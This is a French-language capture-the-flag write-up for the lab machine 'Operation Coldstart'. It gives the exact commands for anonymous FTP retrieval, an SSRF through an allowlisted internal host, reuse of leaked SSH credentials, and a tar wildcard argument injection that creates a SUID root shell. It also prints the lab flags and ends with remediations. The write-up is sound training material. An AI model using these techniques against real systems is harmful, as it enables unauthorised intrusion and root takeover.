Post

Write-up - Operation Coldstart

Write-up - Operation Coldstart

Write-up - Operation Coldstart

La cible est la machine CTF Operation Coldstart (10.130.145.60). Le chemin d’exploitation repose sur une archive de code exposée en FTP, une SSRF contrôlée par allowlist, une fuite d’identifiants SSH, puis une élévation de privilèges via une tâche cron tar vulnérable aux injections d’arguments par wildcard.

Synthèse

La compromission suit la chaîne suivante :

  1. énumération réseau : FTP, SSH et HTTP exposés
  2. téléchargement anonyme d’une archive backup.tar.gz via FTP
  3. analyse du code Flask récupéré
  4. identification d’une SSRF limitée au nom interne kestrel.thm
  5. accès à /admin/notes via SSRF et fuite des identifiants webdev
  6. connexion SSH et récupération du flag utilisateur
  7. découverte d’une tâche cron root exécutant tar avec un wildcard dans /opt/backups
  8. abus de tar --checkpoint-action pour créer un /tmp/bash SUID root
  9. exécution de /tmp/bash -p et récupération du flag final

Reconnaissance

Le scan TCP complet montre trois ports ouverts : FTP, SSH et HTTP.

1
2
TARGET=10.130.145.60
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET" -v

Scan TCP complet

Une énumération HTTP avec ffuf n’a pas donné de répertoires supplémentaires utiles. La suite de l’attaque part donc de FTP et du code récupéré dans l’archive.

FTP anonyme et récupération du backup

Le serveur FTP accepte une connexion anonyme. Le répertoire pub contient une archive backup.tar.gz.

1
ftp ftp://"anonymous":"anonymous"@"$TARGET"
1
2
pub/
backup.tar.gz

Téléchargement du backup via FTP anonyme

L’archive contient une application Flask appelée voltlabs-preview.

1
tar -xvf backup.tar.gz
1
2
3
4
voltlabs-preview/
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py

Extraction de l'archive

Analyse du code Flask

Le README.md indique qu’il s’agit d’un outil interne de prévisualisation d’URL. Il précise aussi que les routes d’administration sont limitées à localhost.

1
2
cat voltlabs-preview/README.md
cat voltlabs-preview/app.py

Code Flask et allowlist

Dans app.py, l’endpoint /preview récupère l’URL fournie par l’utilisateur et vérifie seulement le nom d’hôte. La allowlist contient kestrel.thm, et le commentaire indique que ce nom interne résout vers 127.0.0.1 sur la machine cible.

1
ALLOWED_HOSTS = {"kestrel.thm"}

Les routes /admin/ et /admin/notes sont bloquées si l’adresse source ne commence pas par 127.. L’application crée donc une SSRF exploitable : depuis l’extérieur, on ne peut pas appeler directement /admin/notes, mais le serveur peut le faire lui-même via kestrel.thm.

SSRF vers l’interface locale

L’interface web expose le formulaire URL Preview Service. La cible autorisée http://kestrel.thm est d’abord testée.

Formulaire URL Preview avec kestrel.thm

La réponse confirme que l’application accepte et récupère le contenu de kestrel.thm.

1
http://kestrel.thm

Prévisualisation de kestrel.thm

L’accès à /admin via la SSRF fonctionne également.

1
http://kestrel.thm/admin

Accès SSRF àadmin

L’endpoint /admin/notes expose finalement des identifiants SSH de staging.

1
http://kestrel.thm/admin/notes
1
2
user: webdev
pass: V0ltLabs#summer

Fuite des identifiants dansadmin/notes

Accès SSH webdev

Les identifiants récupérés permettent une connexion SSH avec le compte webdev.

1
2
ssh webdev@$TARGET
id

Connexion SSH webdev

Le flag utilisateur est présent dans le répertoire personnel.

1
2
ls
cat user.txt

Flag utilisateur webdev

Flag obtenu :

1
THM{96dc7bd50d2fb98fcece01560788b5ab}

Découverte d’une tâche cron root

L’utilisateur webdev peut lire la tâche cron /etc/cron.d/voltlabs-backup. Elle exécute chaque minute une archive tar en tant que root depuis /opt/backups.

1
2
ls /etc/cron.d/voltlabs-backup
cat /etc/cron.d/voltlabs-backup
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

Cron root exécutant tar avec wildcard

La commande utilise un wildcard non protégé (*). Si webdev peut créer des fichiers dans /opt/backups, il peut créer des noms de fichiers commençant par -- pour que tar les interprète comme des options.

La technique utilisée vient de la section tar de HackTricks sur les wildcard tricks :

1
https://hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#tar

Référence HackTricks tar wildcard

Élévation de privilèges via tar wildcard

Dans /opt/backups, un script shell.sh est créé. Il copie /bin/bash vers /tmp/bash, puis ajoute le bit SUID.

1
2
3
4
cd /opt/backups
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

Lors de la prochaine exécution de la cron, le wildcard * transmet ces deux faux noms de fichiers à tar. L’option --checkpoint-action=exec=sh shell.sh force alors l’exécution du script par le processus tar lancé en root.

Le binaire /tmp/bash devient SUID root.

1
ls -l /tmp/bash

Payload tar wildcard et bash SUID

L’option -p de Bash préserve les privilèges effectifs. Le shell obtenu a donc euid=0(root), ce qui permet de lire le flag final.

1
2
3
4
/tmp/bash -p
id
ls /root
cat /root/flag.txt

Shell root et flag final

Flag obtenu :

1
THM{e6ee84a483d67ade06936fcfd1433e8a}

Tableau récapitulatif des flags

ÉtapeVulnérabilité principaleFlag
UtilisateurFTP anonyme, fuite de code, SSRF vers /admin/notesTHM{96dc7bd50d2fb98fcece01560788b5ab}
RootCron root avec tar et wildcard non protégéTHM{e6ee84a483d67ade06936fcfd1433e8a}

Causes racines et remédiations

  • Désactiver l’accès FTP anonyme ou limiter strictement son contenu.
  • Ne pas exposer d’archives de code applicatif sur un service public.
  • Éviter les contrôles SSRF basés uniquement sur le nom d’hôte ; valider le schéma, résoudre et bloquer les IP loopback/link-local, et réévaluer l’IP après résolution.
  • Ne pas stocker d’identifiants SSH dans des notes accessibles depuis une interface d’administration.
  • Restreindre les routes d’administration avec une authentification forte, pas seulement avec une vérification d’adresse source.
  • Ne pas exécuter de tâches cron privilégiées dans des répertoires modifiables par des utilisateurs non privilégiés.
  • Éviter les wildcards non protégés dans les commandes exécutées par root; utiliser une liste de fichiers contrôlée, un chemin explicite, ou -- quand l’outil le permet.

Conclusion

Operation Coldstart montre une chaîne courte mais efficace : une archive de code exposée révèle une SSRF, la SSRF permet de contourner un contrôle localhost-only, puis des identifiants SSH donnent un accès système. L’élévation finale vient d’une tâche cron root qui exécute tar avec un wildcard dans un répertoire contrôlable, permettant une injection d’options GNU tar et la création d’un shell SUID root.

This post is licensed under CC BY 4.0 by the author.